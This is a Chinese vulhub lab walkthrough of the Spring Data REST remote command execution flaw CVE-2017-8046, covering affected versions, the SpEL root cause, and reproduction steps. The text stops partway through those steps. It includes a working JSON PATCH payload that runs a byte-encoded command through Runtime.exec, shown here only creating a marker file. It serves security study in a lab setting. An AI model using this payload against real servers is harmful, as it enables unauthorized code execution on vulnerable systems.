vulhub之Spring篇-Spring Data Rest 远程命令执行漏洞(CVE-2017-8046)

时间:2024-11-04 18:49:15
漏洞简介

Spring Data Rest框架的概念

Spring Data REST是一个构建在Spring Data之上,为了帮助开发者更加容易地开发REST风格的Web服务。在REST API的Patch方法中(实现RFC6902),path的值被传入setValue,导致执行了SpEL表达式,触发远程命令执行漏洞。

漏洞原理:Spring-data-rest服务器在处理PATCH请求时,攻击者可以构造恶意的PATCH请求并发送给spring-date-rest服务器,通过构造好的JSON数据来执行任意Java代码.

漏洞影响版本

Spring Data REST versions < 2.5.12, 2.6.7, 3.0 RC3

Spring Boot version < 2.0.0M4

Spring Data release trains < Kay-RC3

环境搭建

漏洞复现

打开环境后可以看到这个页面

漏洞验证之前,我们需要将要执行的命令进行Ascii转译,不然会执行不成功的.

将 touch /tmp/success 进行ASCII-字符 转换 

 中间加逗号隔离,将其拼接到 payload 里面,最后得到

[{ "op": "replace", "path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{116,111,117,99,104,32,47,116,109,112,47,115,117,99,99,101,115,115}))/lastname", "value": "vulhub" }]

验证漏洞

(1)访问 http://靶场ip:8080/customers/1 进行抓包

(2)转包之后将GET修改为PATCH